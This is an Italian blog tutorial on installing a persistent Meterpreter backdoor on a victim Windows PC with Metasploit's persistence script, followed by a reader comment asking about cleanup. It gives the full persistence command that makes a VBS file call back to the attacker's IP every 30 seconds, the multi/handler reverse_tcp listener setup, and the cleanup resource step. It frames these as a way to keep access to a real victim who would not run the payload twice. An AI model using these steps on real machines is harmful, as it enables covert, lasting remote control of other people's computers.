Nel precedente articolo della rubrica su Metasploit Framework abbiamo visto come creare un payload che ci permettesse di ottenere l’accesso ad un PC Windows.
Effettuando qualche prova su quanto esaminato, vi sarete accorti che se fermate l’esecuzione di Meterpreter o se riavviate la macchina vittima, la sessione termina, vanificando tutti gli sforzi precedenti.
In uno scenario di test come quello proposto, non sarebbe un grande problema: non dovremmo fare altro che riavviare il listener sulla macchina attaccante, spostarci sulla vittima ed eseguire nuovamente il file contenente il payload per ritornare alla situazione precedente. Ma immaginiamo uno scenario reale, nel quale solo avere recapitato il payload alla vittima è stato piuttosto arduo, per non parlare di averle fatto eseguire il file. È molto improbabile che ci ricaschi, quindi tutto il nostro lavoro è andato perduto.
Per ovviare al problema, Meterpreter mette a disposizione un modulo chiamato persistence, che si prefigge proprio di garantire all’attaccante un accesso duraturo nel tempo e resistente a qualsiasi tipo di riavvio della macchina vittima.
Installare una backdoor persistente sul sistema vittima grazie allo script persistence.rb di Metasploit
Siamo rimasti al punto in cui abbiamo ottenuto l’accesso alla macchina vittima e lanciato un sysinfo per avere qualche informazione utile.
Installiamo lo script che ci permetterà di non perdere l’accesso alla vittima anche in seguito a riavvio o spegnimento.
- run persistence -A -U -i 30 -p [porta_per_la_connessione] -r [indirizzo_ip_attacker]
Il comando scritto sopra crea un file con estensione vbs sulla macchina della vittima, che richiama automaticamente ogni 30 secondi (il tempo impostato tramite lo switch -i) la connessione all’indirizzo IP specificato dopo lo switch -r (la macchina attaccante) una volta che l’utente vittima abbia effettuato il login. In poche parole il tentativo di connessione al PC attaccante viene ripetuto ogni 30 secondi fino a quando lo script non rileva una connessione aperta.
Per testare l’operato, a questo punto possiamo riavviare la macchina vittima e impostare un listener generico nella macchina attaccante con la solita procedura:
- use exploit/multi/handler
- set PAYLOAD windows/meterpreter/reverse_tcp
- set LHOST [indirizzo_ip_attacker]
- set LPORT [porta_per_la_connessione]
- run
Potremo notare come, dopo pochi secondi dal riavvio della vittima, Metasploit attiverà automaticamente una sessione di Meterpreter: il gioco è fatto!
Facciamo pulizia
Come avete potuto notare lo script persistence.rb toglie un sacco di fastidi. Presenta però un inconveniente: lascia il PC infettato, esposto a chiunque. Per ovviare a questo problema, durante l’installazione crea uno script di pulizia da utilizzare quando non si necessiterà più dell’accesso alla vittima.
Per utilizzarlo lanciamo
- resource [file_creato_durante_installazione]
Lo script si occuperà di rimuovere il file con estensione vbs creato in precedenza e la chiave nel registro di sistema di Windows che chiama il file nel momento in cui l’utente effettua il login.
Grazie a Baty’s Base per l’Articolo!
Un commento su “Meterpreter persistence – Creare una backdoor persistente”
ho provato e sono riuscito a renderla persistente ma non riesco a rimuoverla con
resource [file_creato_durante_installazione] vorrei sapere quale è il file usato durante l’installazione dove lo trovo? potete aiutarmi ?